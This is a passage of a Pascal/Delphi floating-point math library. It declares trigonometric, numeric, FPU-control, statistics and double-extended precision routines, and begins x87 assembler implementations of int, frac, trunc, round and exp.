{-Return sin(x), x in degrees}
function sinh(x: extended): extended;
{-Return the hyperbolic sine of x, accurate even for x near 0}
function sinhc(x: extended): extended;
{-Return sinh(x)/x, accurate even for x near 0}
function sinhmx(x: extended): extended;
{-Return sinh(x)-x, accurate even for x near 0}
function sinPi(x: extended): extended;
{-Return sin(Pi*x), result will be 0 for abs(x) >= 2^64}
function tan(x: extended): extended;
{-Return the circular tangent of x, x mod Pi <> Pi/2}
function tand(x: extended): extended;
{-Return tan(x), x in degrees}
function tanh(x: extended): extended;
{-Return the hyperbolic tangent of x, accurate even for x near 0}
function vers(x: extended): extended;
{-Return the versine vers(x) = 1 - cos(x)}
function versint(x: extended): extended;
{-Return versint(x) = integral(vers(t),t=0..x) = x - sin(x), accurate near 0}
function logN(N, x: extended): extended; {-Delphi alias for logbase}
function lnxp1(x: extended): extended; {-Delphi alias for ln1p}
{#Z+}
{---------------------------------------------------------------------------}
{---------------------- Elementary numerical functions ---------------------}
{---------------------------------------------------------------------------}
{#Z-}
function cbrt(x: extended): extended;
{-Return the cube root of x}
function ceil(x: extended): longint;
{-Return the smallest integer >= x; |x|<=MaxLongint}
function ceilx(x: extended): extended;
{-Return the smallest integer >= x}
function floor(x: extended): longint;
{-Return the largest integer <= x; |x|<=MaxLongint}
function floorx(x: extended): extended;
{-Return the largest integer <= x}
function fmod(x,y: extended): extended;
{-Return x mod y, y<>0, sign(result) = sign(x)}
function hypot(x,y: extended): extended;
{-Return sqrt(x*x + y*y)}
function hypot3(x,y,z: extended): extended;
{-Return sqrt(x*x + y*y + z*z)}
function intpower(x: extended; n: longint): extended;
{-Return x^n; via binary exponentiation (no overflow detection)}
function modf(x: extended; var ip: longint): extended;
{-Return frac(x) and trunc(x) in ip, |x|<=MaxLongint}
function nroot(x: extended; n: integer): extended;
{-Return the nth root of x; n<>0, x >= 0 if n is even}
function remainder(x,y: extended): extended;
{-Return the IEEE754 remainder x REM y = x - rmNearest(x/y)*y}
function sqrt1pm1(x: extended): extended;
{-Return sqrt(1+x)-1, accurate even for x near 0, x>=-1}
{#Z+}
{---------------------------------------------------------------------------}
{----------------------- Floating point functions --------------------------}
{---------------------------------------------------------------------------}
{#Z-}
function copysign(x,y: extended): extended; {$ifdef HAS_INLINE} inline;{$endif}
{-Return abs(x)*sign(y)}
function copysignd(x,y: double): double; {$ifdef HAS_INLINE} inline;{$endif}
{-Return abs(x)*sign(y)}
function copysigns(x,y: single): single; {$ifdef HAS_INLINE} inline;{$endif}
{-Return abs(x)*sign(y)}
procedure frexp(x: extended; var m: extended; var e: longint);
{-Return the mantissa m and exponent e of x with x = m*2^e, 0.5 < m < 1;}
{ if x is 0, +-INF, NaN, return m=x, e=0}
procedure frexpd(d: double; var m: double; var e: longint);
{-Return the mantissa m and exponent e of d with d = m*2^e, 0.5 < m < 1;}
{ if d is 0, +-INF, NaN, return m=d, e=0}
procedure frexps(s: single; var m: single; var e: longint);
{-Return the mantissa m and exponent e of s with s = m*2^e, 0.5 <= abs(m) < 1;}
{ if s is 0, +-INF, NaN, return m=s, e=0}
function ilogb(x: extended): longint;
{-Return base 2 exponent of x. For finite x ilogb = floor(log2(|x|)), }
{ otherwise -MaxLongint for x = 0 or MaxLongint if x = +-INF or Nan. }
function ldexp(x: extended; e: longint): extended;
{-Return x*2^e}
function ldexpd(d: double; e: longint): double;
{-Return d*2^e}
function ldexps(s: single; e: longint): single;
{-Return s*2^e}
function IsInf(x: extended): boolean; {$ifdef HAS_INLINE} inline;{$endif}
{-Return true if x is +INF or -INF}
function IsInfD(d: double): boolean; {$ifdef HAS_INLINE} inline;{$endif}
{-Return true if d is +INF or -INF}
function IsInfS(s: single): boolean; {$ifdef HAS_INLINE} inline;{$endif}
{-Return true if s is +INF or -INF}
function IsNaN(x: extended): boolean; {$ifdef HAS_INLINE} inline;{$endif}
{-Return true if x is a NaN}
function IsNaND(d: double): boolean; {$ifdef HAS_INLINE} inline;{$endif}
{-Return true if d is a NaN}
function IsNaNS(s: single): boolean; {$ifdef HAS_INLINE} inline;{$endif}
{-Return true if s is a NaN}
function IsNaNorInf(x: extended): boolean; {$ifdef HAS_INLINE} inline;{$endif}
{-Return true if x is a NaN or infinite}
function IsNaNorInfD(d: double): boolean; {$ifdef HAS_INLINE} inline;{$endif}
{-Return true if d is a NaN or infinite}
function IsNaNorInfS(s: single): boolean; {$ifdef HAS_INLINE} inline;{$endif}
{-Return true if s is a NaN or infinite}
function predd(d: double): double;
{-Return next representable double after d in the direction -Inf}
function predx(x: extended): extended;
{-Return next representable extended after x in the direction -Inf}
function preds(s: single): single;
{-Return next representable single after s in the direction -Inf}
function rint(x: extended): extended;
{-Return the integral value nearest x for the current rounding mode}
function succd(d: double): double;
{-Return next representable double after d in the direction +Inf}
function succx(x: extended): extended;
{-Return next representable extended after x in the direction +Inf}
function succs(s: single): single;
{-Return next representable single after s in the direction +Inf}
function scalbn(x: extended; e: longint): extended;
{-Return x*2^e}
function ulpd(d: double): double;
{-Return the 'unit in the last place': ulpd(d)=|d|-predd(|d|) for finite d}
function ulps(s: single): single;
{-Return the 'unit in the last place': ulps(s)=|s|-preds(|s|) for finite s}
function ulpx(x: extended): extended;
{-Return the 'unit in the last place': ulpx(x)=|x|-predx(|x|) for finite x}
{#Z+}
{---------------------------------------------------------------------------}
{------------------------- FPU control functions ---------------------------}
{---------------------------------------------------------------------------}
{These functions try to be as compatible to Delphi/FreePascal as reasonable.}
{16 bit Pascal cannot return sets as function results, Delphi sets are not }
{byte-compatible in FPC, not all Delphi versions support default values etc.}
{D3+ and FPC2+ have Set8087CW in system.pas. It is used here if available, }
{because it also sets the system variable Default8087CW. D6+ and FPC+ have }
{Get8087CW in system.pas. The following series of ifdefs finds out which of }
{the functions have to be defined here.}
{#Z-}
{$ifdef BIT16}
{$define need_get87}
{$define need_set87}
{$else}
{$ifdef VirtualPascal}
{$define need_get87}
{$define need_set87}
{$define buggy_round}
{$endif}
{$ifdef FPC}
{$ifdef VER1}
{$define need_get87}
{$define need_set87}
{$define buggy_trunc}
{$define buggy_round}
{$endif}
{$endif}
{$ifdef Delphi}
{$ifndef CONDITIONALEXPRESSIONS}
{$ifdef VER90 }
{$define need_set87}
{$endif}
{Delphi 3+ has Set8087CW}
{Delphi 6+ has Get8087CW}
{$define need_get87}
{$define buggy_trunc}
{$endif}
{$endif}
{$endif}
type
TFPURoundingMode = (rmNearest, rmDown, rmUp, rmTruncate);
type
TFPUPrecisionMode = (pmSingle, pmReserved, pmDouble, pmExtended);
const
{Bitmasks of single exceptions}
exInvalidOp = $01;
exDenormalized = $02;
exZeroDivide = $04;
exOverflow = $08;
exUnderflow = $10;
exPrecision = $20;
{$ifdef need_get87}
function Get8087CW: word;
{-Return the FPU control word}
{$endif}
{$ifdef need_set87}
procedure Set8087CW(cw: word);
{-Set new FPU control word}
{$endif}
function GetRoundMode: TFPURoundingMode;
{-Return the current rounding mode}
function SetRoundMode(NewRoundMode: TFPURoundingMode): TFPURoundingMode;
{-Set new rounding mode and return the old mode}
function GetPrecisionMode: TFPUPrecisionMode;
{-Return the current precision control mode}
function SetPrecisionMode(NewPrecision: TFPUPrecisionMode): TFPUPrecisionMode;
{-Set new precision control mode and return the old precision}
procedure GetExceptionMask(var Mask: byte);
{-Return the current exception mask}
procedure SetExceptionMask(NewMask: byte);
{-Set new exception mask}
{#Z+}
{---------------------------------------------------------------------------}
{-------------- Polynomial, Vector, Statistic Operations -------------------}
{---------------------------------------------------------------------------}
{#Z-}
{$ifdef CONST}
function CSEvalX(x: extended; const a: array of extended; n: integer): extended;
{-Evaluate Chebyshev sum a[0]/2 + a[1]*T_1(x) +..+ a[n-1]*T_(n-1)(x) using Clenshaw algorithm}
function dot2(const x,y: array of double; n: integer): extended;
{-Accurate dot product sum(x[i]*y[i], i=0..n-1) of two double vectors}
function dot2x(const x,y: array of extended; n: integer): extended;
{-Accurate dot product sum(x[i]*y[i], i=0..n-1) of two extended vectors}
function mean(const a: array of double; n: integer): extended;
{-Compute accurate mean = sum(a[i], i=0..n-1)/n of a double vector}
function meanx(const a: array of extended; n: integer): extended;
{-Compute accurate mean = sum(a[i], i=0..n-1)/n of an extended vector}
procedure MeanAndStdDev(const a: array of double; n: integer; var mval, sdev: extended);
{-Accurate mean and sample standard deviation of a double vector}
procedure MeanAndStdDevX(const a: array of extended; n: integer; var mval, sdev: extended);
{-Accurate mean and sample standard deviation of an extended vector}
procedure moment(const a: array of double; n: integer; var m1, m2, m3, m4, skew, kurt: extended);
{-Return the first 4 moments, skewness, and kurtosis of a double vector}
procedure momentx(const a: array of extended; n: integer; var m1, m2, m3, m4, skew, kurt: extended);
{-Return the first 4 moments, skewness, and kurtosis of an extended vector}
procedure mssqd(const a: array of double; n: integer; var mval, scale, sumsq: extended);
{-Calculate mean mval and ssqd sum((a[i]-mval)^2) of a double vector}
procedure mssqx(const a: array of extended; n: integer; var mval, scale, sumsq: extended);
{-Calculate mean mval and ssqx sum((a[i]-mval)^2) of an extended vector}
function norm2(const a: array of double; n: integer): extended;
{-Calculate the 2-norm = sqrt(sum(a[i]^2, i=0..n-1)) of a double vector}
function norm2x(const a: array of extended; n: integer): extended;
{-Calculate the 2-norm = sqrt(sum(a[i]^2, i=0..n-1)) of an extended vector}
function PolEval(x: extended; const a: array of double; n: integer): extended;
{-Evaluate polynomial; return a[0] + a[1]*x + ... + a[n-1]*x^(n-1)}
function PolEvalS(x: extended; const a: array of single; n: integer): extended;
{-Evaluate polynomial; return a[0] + a[1]*x + ... + a[n-1]*x^(n-1)}
function PolEvalX(x: extended; const a: array of extended; n: integer): extended;
{-Evaluate polynomial; return a[0] + a[1]*x + ... + a[n-1]*x^(n-1)}
function PolEvalEE(x: double; const a: array of double; n: integer; var e: double): double;
{-Evaluate polynomial; return p(x) = a[0] + a[1]*x +...+ a[n-1]*x^(n-1);}
{ e is the dynamic absolute error estimate with |p(x) - result| <= e. }
function PolEvalEEX(x: extended; const a: array of extended; n: integer; var e: extended): extended;
{-Evaluate polynomial; return p(x) = a[0] + a[1]*x +...+ a[n-1]*x^(n-1);}
{ e is the dynamic absolute error estimate with |p(x) - result| <= e. }
function PolEvalCHE(x: double; const a: array of double; n: integer; var e: double): double;
{-Evaluate polynomial; return p(x) = a[0] + a[1]*x +...+ a[n-1]*x^(n-1);}
{ accurate double precision version using compensated Horner scheme, }
{ e is the dynamic absolute error estimate with |p(x) - result| <= e. }
function PolEvalCHEX(x: extended; const a: array of extended; n: integer; var e: extended): extended;
{-Evaluate polynomial; return p(x) = a[0] + a[1]*x +...+ a[n-1]*x^(n-1);}
{ accurate extended precision version using compensated Horner scheme, }
{ e is the dynamic absolute error estimate with |p(x) - result| <= e. }
function rms(const a: array of double; n: integer): extended;
{-Calculate the RMS value sqrt(sum(a[i]^2, i=0..n-1)/n) of a double vector}
function rmsx(const a: array of extended; n: integer): extended;
{-Calculate the RMS value sqrt(sum(a[i]^2, i=0..n-1)/n) of an extended vector}
procedure ssqx(const a: array of extended; n: integer; var scale, sumsq: extended);
{-Calculate sum(a[i]^2, i=0..n-1) = scale^2*sumsq, scale>=0, sumsq>0}
procedure ssqd(const a: array of double; n: integer; var scale, sumsq: extended);
{-Calculate sum(a[i]^2, i=0..n-1) = scale^2*sumsq, scale>=0, sumsq>0}
function sum2(const a: array of double; n: integer): extended;
{-Compute accurate sum(a[i], i=0..n-1) of a double vector}
function sum2x(const a: array of extended; n: integer): extended;
{-Compute accurate sum(a[i], i=0..n-1) of extended vector}
function sumsqr(const a: array of double; n: integer): extended;
{-Calculate sum(a[i]^2, i=0..n-1) of a double vector}
function sumsqrx(const a: array of extended; n: integer): extended;
{-Calculate sum(a[i]^2, i=0..n-1) of an extended vector}
function ssdev(const a: array of double; n: integer): extended;
{-Return the sample standard deviation of a double vector}
function ssdevx(const a: array of extended; n: integer): extended;
{-Return the sample standard deviation of an extended vector}
function psdev(const a: array of double; n: integer): extended;
{-Return the population standard deviation of a double vector}
function psdevx(const a: array of extended; n: integer): extended;
{-Return the population standard deviation of an extended vector}
function svar(const a: array of double; n: integer): extended;
{-Return the sample variance of a double vector}
function svarx(const a: array of extended; n: integer): extended;
{-Return the sample variance of an extended vector}
function pvar(const a: array of double; n: integer): extended;
{-Return the population variance of a double vector}
function pvarx(const a: array of extended; n: integer): extended;
{-Return the population variance of an extended vector}
{$else}
function CSEvalX(x: extended; var va{:array of extended}; n: integer): extended;
{-Evaluate Chebyshev sum a[0]/2 + a[1]*T_1(x) +..+ a[n-1]*T_(n-1)(x) using Clenshaw algorithm}
{Versions for compiler older than VER70}
function dot2(var vx,vy{:array of double}; n: integer): extended;
{-Accurate dot product sum(x[i]*y[i], i=0..n-1) of two extended vectors}
function dot2x(var vx,vy{:array of extended}; n: integer): extended;
{-Accurate dot product sum(x[i]*y[i], i=0..n-1) of two extended vectors}
function mean(var va{:array of double}; n: integer): extended;
{-Compute accurate mean = sum(a[i], i=0..n-1)/n of a double vector}
function meanx(var va{:array of double}; n: integer): extended;
{-Compute accurate mean = sum(a[i], i=0..n-1)/n of a double vector}
procedure MeanAndStdDev(var va{:array of double}; n: integer; var mval, sdev: extended);
{-Accurate mean and sample standard deviation of a double vector}
procedure MeanAndStdDevX(var va{:array of double}; n: integer; var mval, sdev: extended);
{-Accurate mean and sample standard deviation of a double vector}
procedure moment(var va{:array of double}; n: integer; var m1, m2, m3, m4, skew, kurt: extended);
{-Return the first 4 moments, skewness, and kurtosis of a double vector}
procedure momentx(var va{:array of extended}; n: integer; var m1, m2, m3, m4, skew, kurt: extended);
{-Return the first 4 moments, skewness, and kurtosis of an extended vector}
procedure mssqd(var va{:array of double}; n: integer; var mval, scale, sumsq: extended);
{-Calculate mean mval and ssqd sum((a[i]-mval)^2) of a double vector}
procedure mssqx(var va{:array of extended}; n: integer; var mval, scale, sumsq: extended);
{-Calculate mean mval and ssqx sum((a[i]-mval)^2) of an extended vector}
function norm2(var va{:array of double}; n: integer): extended;
{-Calculate the 2-norm = sqrt(sum(a[i]^2, i=0..n-1)) of a double vector}
function norm2x(var va{:array of extended}; n: integer): extended;
{-Calculate the 2-norm = sqrt(sum(a[i]^2, i=0..n-1)) of an extended vector}
function PolEval(x: extended; var va{:array of double}; n: integer): extended;
{-Evaluate polynomial; return a[0] + a[1]*x + ... + a[n-1]*x^(n-1)}
function PolEvalS(x: extended; var va{:array of single}; n: integer): extended;
{-Evaluate polynomial; return a[0] + a[1]*x + ... + a[n-1]*x^(n-1)}
function PolEvalX(x: extended; var va{:array of extended}; n: integer): extended;
{-Evaluate polynomial; return a[0] + a[1]*x + ... + a[n-1]*x^(n-1)}
function PolEvalEE(x: double; var va{:array of double}; n: integer; var e: double): double;
{-Evaluate polynomial; return p(x) = a[0] + a[1]*x +...+ a[n-1]*x^(n-1);}
{ e is the dynamic absolute error estimate with |p(x) - result| <= e. }
function PolEvalEEX(x: extended; var va{:array of extended}; n: integer; var e: extended): extended;
{-Evaluate polynomial; return p(x) = a[0] + a[1]*x +...+ a[n-1]*x^(n-1);}
{ e is the dynamic absolute error estimate with |p(x) - result| <= e. }
function PolEvalCHE(x: double; var va{:array of double}; n: integer; var e: double): double;
{-Evaluate polynomial; return p(x) = a[0] + a[1]*x +...+ a[n-1]*x^(n-1);}
{ accurate double precision version using compensated Horner scheme, }
{ e is the dynamic absolute error estimate with |p(x) - result| <= e. }
function PolEvalCHEX(x: extended; var va{:array of extended}; n: integer; var e: extended): extended;
{-Evaluate polynomial; return p(x) = a[0] + a[1]*x +...+ a[n-1]*x^(n-1);}
{ accurate extended precision version using compensated Horner scheme, }
{ e is the dynamic absolute error estimate with |p(x) - result| <= e. }
function rms(var va{: array of double}; n: integer): extended;
{-Calculate the RMS value sqrt(sum(a[i]^2, i=0..n-1)/n) of a double vector}
function rmsx(var va{: array of extended}; n: integer): extended;
{-Calculate the RMS value sqrt(sum(a[i]^2, i=0..n-1)/n) of an extended vector}
procedure ssqx(var va{:array of extended}; n: integer; var scale, sumsq: extended);
{-Calculate sum(a[i]^2, i=0..n-1) = scale^2*sumsq, scale>=0, sumsq>0}
procedure ssqd(var va{:array of double}; n: integer; var scale, sumsq: extended);
{-Calculate sum(a[i]^2, i=0..n-1) = scale^2*sumsq, scale>=0, sumsq>0}
function sum2(var va{:array of double}; n: integer): extended;
{-Compute accurate sum(a[i], i=0..n-1) of a double vector}
function sum2x(var va{:array of extended}; n: integer): extended;
{-Compute accurate sum(a[i], i=0..n-1) of extended vector}
function sumsqr(var va{:array of double}; n: integer): extended;
{-Calculate sum(a[i]^2, i=0..n-1) of a double vector}
function sumsqrx(var va{:array of extended}; n: integer): extended;
{-Calculate sum(a[i]^2, i=0..n-1) of an extended vector}
function ssdev(var va{:array of double}; n: integer): extended;
{-Return the sample standard deviation of a double vector}
function ssdevx(var va{:array of extended}; n: integer): extended;
{-Return the sample standard deviation of an extended vector}
function psdev(var va{:array of double}; n: integer): extended;
{-Return the population standard deviation of a double vector}
function psdevx(var va{:array of extended}; n: integer): extended;
{-Return the population standard deviation of an extended vector}
function svar(var va{:array of double}; n: integer): extended;
{-Return the sample variance of a double vector}
function svarx(var va{:array of extended}; n: integer): extended;
{-Return the sample variance of an extended vector}
function pvar(var va{:array of double}; n: integer): extended;
{-Return the population variance of a double vector}
function pvarx(var va{:array of extended}; n: integer): extended;
{-Return the population variance of an extended vector}
{$endif}
{#Z+}
{--------------------------------------------------------------------}
{---------- Argument reduction for trigonometric functions ----------}
{--------------------------------------------------------------------}
{#Z-}
function rem_pio2_cw(x: extended; var z: extended): integer;
{-Cody/Waite reduction of x: z = x - n*Pi/2, |z| <= Pi/4, result = n mod 8}
function rem_pio2_ph(x: extended; var z: extended): integer;
{-Payne/Hanek reduction of x: z = x - n*Pi/2, |z| <= Pi/4, result = n mod 8}
function rem_pio2(x: extended; var z: extended): integer;
{-Argument reduction of x: z = x - n*Pi/2, |z| <= Pi/4, result = n mod 8.}
{ Uses Payne/Hanek if |x| > ph_cutoff, Cody/Waite otherwise}
function rem_2pi(x: extended): extended;
{-Return x mod 2*Pi}
function rem_2pi_sym(x: extended): extended;
{-Return x mod 2*Pi, -Pi <= result <= Pi}
function rem_int2(x: extended; var z: extended): integer;
{-Argument reduction of x: z*Pi = x*Pi - n*Pi/2, |z|<=1/4, result = n mod 8.}
{ Used for argument reduction in sin(Pi*x) and cos(Pi*x)}
{#Z+}
{--------------------------------------------------------------------}
{------------------------- Other function ---------------------------}
{--------------------------------------------------------------------}
{#Z-}
function DegToRad(x: extended): extended;
{-Convert angle x from degrees to radians}
function RadToDeg(x: extended): extended;
{-Convert angle x from radians to degrees}
function angle2(x1,x2,y1,y2: extended): extended;
{-Return the accurate angle between the vectors (x1,x2) and (y1,y2)}
function area_triangle(x1,y1,x2,y2,x3,y3: extended): extended;
{-Return the area of the triangle defined by the points (xi,yi)}
function Dbl2Hex(d: double): string;
{-Return d as a big-endian hex string}
function Ext2Dbl(x: extended): double;
{-Return x as double, or +-Inf if too large}
function Ext2Hex(x: extended): string;
{-Return x as a big-endian hex string}
function Sgl2Hex(s: single): string;
{-Return s as a big-endian hex string}
function fisEQd(x,y: double): boolean; {$ifdef HAS_INLINE} inline;{$endif}
{-Return true if x and y are bit-identical}
function fisEQx(x,y: extended): boolean; {$ifdef HAS_INLINE} inline;{$endif}
{-Return true if x and y are bit-identical}
function fisNEd(x,y: double): boolean; {$ifdef HAS_INLINE} inline;{$endif}
{-Return true if x and y are not bit-identical}
function fisNEx(x,y: extended): boolean; {$ifdef HAS_INLINE} inline;{$endif}
{-Return true if x and y are not bit-identical}
function fisEQs(x,y: single): boolean; {$ifdef HAS_INLINE} inline;{$endif}
{-Return true if x and y are bit-identical}
function fisNEs(x,y: single): boolean; {$ifdef HAS_INLINE} inline;{$endif}
{-Return true if x and y are not bit-identical}
procedure Hex2Ext({$ifdef CONST}const{$endif}hex: string; var x: extended; var code: integer);
{-Convert big-endian hex string to extended, leading $ is skipped, OK if code=0;}
{ hex is must have 20 hex characters (21 if leading $), inverse of Ext2Hex.}
procedure Hex2Dbl({$ifdef CONST}const{$endif}hex: string; var d: double; var code: integer);
{-Convert big-endian hex string to double, leading $ is skipped, OK if code=0;}
{ hex is must have 16 hex characters (17 if leading $), inverse of Dbl2Hex.}
procedure Hex2Sgl({$ifdef CONST}const{$endif}hex: string; var s: single; var code: integer);
{-Convert big-endian hex string to single, leading $ is skipped, OK if code=0;}
{ hex is must have 8 hex characters (9 if leading $), inverse of Sgl2Hex.}
function in_triangle(x,y,x1,y1,x2,y2,x3,y3: extended): boolean;
{-Return true if the point (x,y) lies strictly inside the triangle defined}
{ by the three points (xi,yi), false if it lies on a side or outside.}
function in_triangle_ex(x,y,x1,y1,x2,y2,x3,y3: extended): integer;
{-Return +1 if the point (x,y) lies strictly inside the triangle defined by}
{ the three points (xi,yi), -1 if it lies strictly outside, 0 otherwise.}
function isign(x: extended): integer;
{-Return the sign of x, 0 if x=0 or NAN}
function maxd(x, y: double): double; {$ifdef HAS_INLINE} inline;{$endif}
{-Return the maximum of two doubles; x,y <> NAN}
function maxx(x, y: extended): extended; {$ifdef HAS_INLINE} inline;{$endif}
{-Return the maximum of two extendeds; x,y <> NAN}
function maxs(x, y: single): single; {$ifdef HAS_INLINE} inline;{$endif}
{-Return the maximum of two singles; x,y <> NAN}
function mind(x, y: double): double; {$ifdef HAS_INLINE} inline;{$endif}
{-Return the minimum of two doubles; x,y <> NAN}
function minx(x, y: extended): extended; {$ifdef HAS_INLINE} inline;{$endif}
{-Return the minimum of two extendeds; x,y <> NAN}
function mins(x, y: single): single; {$ifdef HAS_INLINE} inline;{$endif}
{-Return the minimum of two singles; x,y <> NAN}
function orient2d(x1,y1,x2,y2,x3,y3: extended): extended;
{-Return the mathematical orientation of the three points (xi,yi): >0 if}
{ the order is counterclockwise, <0 if clockwise, =0 if they are collinear.}
{ Result is twice the signed area of the triangle defined by the points.}
function RandG(Mean, StdDev: extended): extended;
{-Random number from Gaussian (normal) distribution with given mean}
{ and standard deviation |StdDev|}
function RandG01: extended;
{-Random number from standard normal distribution (Mean=0, StdDev=1)}
{#Z+}
{--------------------------------------------------------------------}
{------------- Basic ext2 (double-extended) functions -------------}
{--------------------------------------------------------------------}
{#Z-}
{$ifdef CONST}
procedure xxto2x(a,b: extended; var x: ext2); {$ifdef HAS_INLINE} inline;{$endif}
{-Return x = a + b using TwoSum algorithm}
procedure xto2x(a: extended; var x: ext2); {$ifdef HAS_INLINE} inline;{$endif}
{-Return x = a}
procedure add2x(const a,b: ext2; var x: ext2); {$ifdef HAS_INLINE} inline;{$endif}
{-Return x = a+b}
procedure add21x(const a: ext2; b: extended; var x: ext2);
{-Return x = a+b}
procedure sub2x(const a,b: ext2; var x: ext2); {$ifdef HAS_INLINE} inline;{$endif}
{-Return x = a-b}
procedure mul2x(const a,b: ext2; var x: ext2);
{-Return x = a*b}
procedure mul21x(const a: ext2; b: extended; var x: ext2);
{-Return x = a*b}
procedure sqr2x(const a: ext2; var x: ext2);
{-Return x = a^2}
procedure pow2xi(const a: ext2; n: extended; var y: ext2);
{-Return y = a^n, frac(n)=0, a<>0 if n<0}
procedure div2x(const a,b: ext2; var x: ext2);
{-Return x = a/b, b<>0}
procedure div21x(const a: ext2; b: extended; var x: ext2);
{-Return x = a/b, b<>0}
procedure inv2x(const b: ext2; var x: ext2);
{-Return x = 1/b, b<>0}
procedure sqrt2x(const a: ext2; var x: ext2);
{-Return x = sqrt(a), a >= 0}
procedure pi2x(var x: ext2);
{-Return x = Pi with double-extended precision}
{$else}
procedure xxto2x(a,b: extended; var x: ext2);
procedure xto2x(a: extended; var x: ext2);
procedure add2x(var a,b: ext2; var x: ext2);
procedure add21x(var a: ext2; b: extended; var x: ext2);
procedure sub2x(var a,b: ext2; var x: ext2);
procedure mul2x(var a,b: ext2; var x: ext2);
procedure sqr2x(var a: ext2; var x: ext2);
procedure mul21x(var a: ext2; b: extended; var x: ext2);
procedure pow2xi(var a: ext2; n: extended; var y: ext2);
procedure div2x(var a,b: ext2; var x: ext2);
procedure div21x(var a: ext2; b: extended; var x: ext2);
procedure inv2x(var b: ext2; var x: ext2);
procedure sqrt2x(var a: ext2; var x: ext2);
procedure pi2x(var x: ext2);
{$endif}
{#Z+}
{---------------------------------------------------------------------------}
{------------------ Internal and bugfix functions -------------------------}
{---------------------------------------------------------------------------}
{$ifdef BIT32}
{Use extended argument (not CONST extended), i.e. compatible to type TFuncX}
function int(x: extended): extended;
{-Return the integer part x; the value of x rounded toward zero}
function frac(x: extended): extended;
{-Return the fractional part x = x - int(x)}
{$endif}
{$ifdef BASM}
function arctan(x: extended): extended;
{-Return the inverse circular tangent of x}
function sqrt(x: extended): extended;
{-Return the square root of x >= 0}
{$endif}
{$ifdef buggy_trunc}
{Bugfix version for Delphi2..5, FPC1}
function trunc(x: extended): longint;
{$endif}
{$ifdef buggy_round}
function round(x: extended): longint;
{$endif}
{$ifdef VER50}
function arctan(x: extended): extended;
{-Return bug free arctan for TP5}
{$endif}
{Internal basic versions}
function _tan(x: extended): extended;
function _cot(x: extended): extended;
procedure _sincos(x: extended; var s,c: extended);
{$ifndef CONST}
type
TExtVector = array[0..6528] of extended;
TDblVector = array[0..8160] of double;
TSglVector = array[0..16320] of single;
{$endif}
{#Z-}
implementation
const
x80000000 = longint($80000000);
{FPC and Delphi 2 do not like fstp [@result]}
{$ifdef FPC}
{$define NO_FPU_RESULT}
{$else}
{$ifdef VER90}
{$define NO_FPU_RESULT}
{$endif}
{$endif}
{Bugfix for Delphi2-5: These versions simply do a fldcw cwChop (= $1F32)}
{instead of or'ing the current control word with $0F00. Sometimes there }
{will be crashes after fldcw if operations with NAN's or INF's have been}
{performed before these functions are called. FPC1 has similar bugs.}
{For other 32-bit compilers make frac and int compatible to type TFuncX}
{$ifdef BIT32}
{---------------------------------------------------------------------------}
function int(x: extended): extended; assembler; {&Frame-} {&Uses none}
{-Return the integer part x; the value of x rounded toward zero}
asm
fld [x]
sub esp,4
fnstcw word ptr [esp]
fnstcw word ptr [esp+2]
fwait
or word ptr [esp+2],$0f00 {set extended precision, round toward zero}
fldcw word ptr [esp+2]
frndint
fwait
fldcw word ptr [esp]
add esp,4
end;
{---------------------------------------------------------------------------}
function frac(x: extended): extended; assembler; {&Frame-} {&Uses none}
{-Return the fractional part x = x - int(x)}
asm
fld [x]
fld st(0)
sub esp,4
fnstcw word ptr [esp]
fnstcw word ptr [esp+2]
fwait
or word ptr [esp+2],$0f00 {set extended precision, round toward zero}
fldcw word ptr [esp+2]
frndint
fwait
fldcw word ptr [esp]
add esp,4
{$ifdef FPC}
fsubp st(1),st {!!!??? brain-damage: fsub gives two warnings!}
{$else}
fsub
{$endif}
end;
{$endif}
{$ifdef BASM}
{---------------------------------------------------------------------------}
function arctan(x: extended): extended; assembler; {&Frame-} {&Uses none}
{-Return the inverse circular tangent of x}
asm
fld [x]
fld1
fpatan
fwait
end;
{---------------------------------------------------------------------------}
function sqrt(x: extended): extended; assembler; {&Frame-} {&Uses none}
{-Return the square root of x >= 0}
asm
fld [x]
fsqrt
fwait
end;
{$endif}
{$ifdef buggy_trunc}
{---------------------------------------------------------------------------}
function trunc(x: extended): longint;
var
cws,cw: word;
iarr: packed array[0..1] of longint;
begin
asm
fld [x]
fstcw [cws]
fstcw [cw]
fwait
or [cw],$0F00
fldcw [cw]
fistp qword ptr [iarr]
fwait
fldcw [cws]
end;
trunc := iarr[0];
end;
{$endif}
{$ifdef buggy_round}
{$ifdef FPC}
{---------------------------------------------------------------------------}
function round(x: extended): longint;
var
iarr: packed array[0..1] of longint;
begin
{This is a fix for the buggy FPC1 code}
asm
fld [x]
fistp qword ptr [iarr]
fwait
end;
round := iarr[0];
end;
{$endif}
{$ifdef VirtualPascal}
{---------------------------------------------------------------------------}
function round(x: extended): longint; assembler; {&Frame-} {&Uses none}
var
TempLong: Longint;
{VP does not round to even e.g. for x=4.5 by design(!?), see system.pas}
asm
fld [x]
fistp TempLong
fwait
mov eax,TempLong
end;
{$endif}
{$endif}
{$ifdef VER50}
{---------------------------------------------------------------------------}
function arctan(x: extended): extended;
{-bug free arctan for TP5}
var
t: extended;
const
t0 = 1.0E20;
t1 = 2.3E-10;
begin
t := abs(x);
if t>t0 then begin
if x<0 then arctan := -Pi_2 else arctan := Pi_2;
end
else if t<t1 then begin
{arctan(x) = x*(1 - 1/3*x^2 + 1/5*x^4 + O(x^6))}
arctan := x;
end
else arctan := system.arctan(x);
end;
{$endif}
const
ln2_hi: THexDblA = ($00,$00,$E0,$FE,$42,$2E,$E6,$3F);
ln2_lo: THexDblA = ($76,$3C,$79,$35,$EF,$39,$EA,$3D);
{$ifdef BASM}
{$ifndef use_fast_exp}
const
half: single = 0.5; {used for roundmode-safe exp routines}
two : single = 2.0; {used for roundmode-safe exp routines}
ebig: single = 24576.0; {used for roundmode-safe exp routines}
{$endif}
{---------------------------------------------------------------------------}
function exp(x: extended): extended; assembler; {&Frame-} {&Uses none}
{-Accurate exp, result good to extended precision}
asm
{This version of Norbert Juffa's exp is from the VirtualPascal RTL source,}
{discussed and explained in the VP Bugtracker system. Quote: }
{ }
{ ... "since the 387, F2XM1 can accecpt arguments in [-1, 1]. }
{ }
{ So, we can split the argument into an integer and a fraction part using }
{ FRNDINT and the fraction part will always be -1 <= f <= 1 no matter what}
{ rounding control. This means we don't have to load/restore the FPU }
{ control word (CW) which is slow on modern OOO FPUs (since FLDCW is a }
{ serializing instruction). }
{ }
{ Note that precision is lost in doing exponentation when the fraction is }
{ subtracted from the integer part of the argument. The "naive" code can }
{ loose up to 11 (or 15) bits of the extended precision format for large }
{ DP or EP arguments, yielding a result good to double precision. To get a}
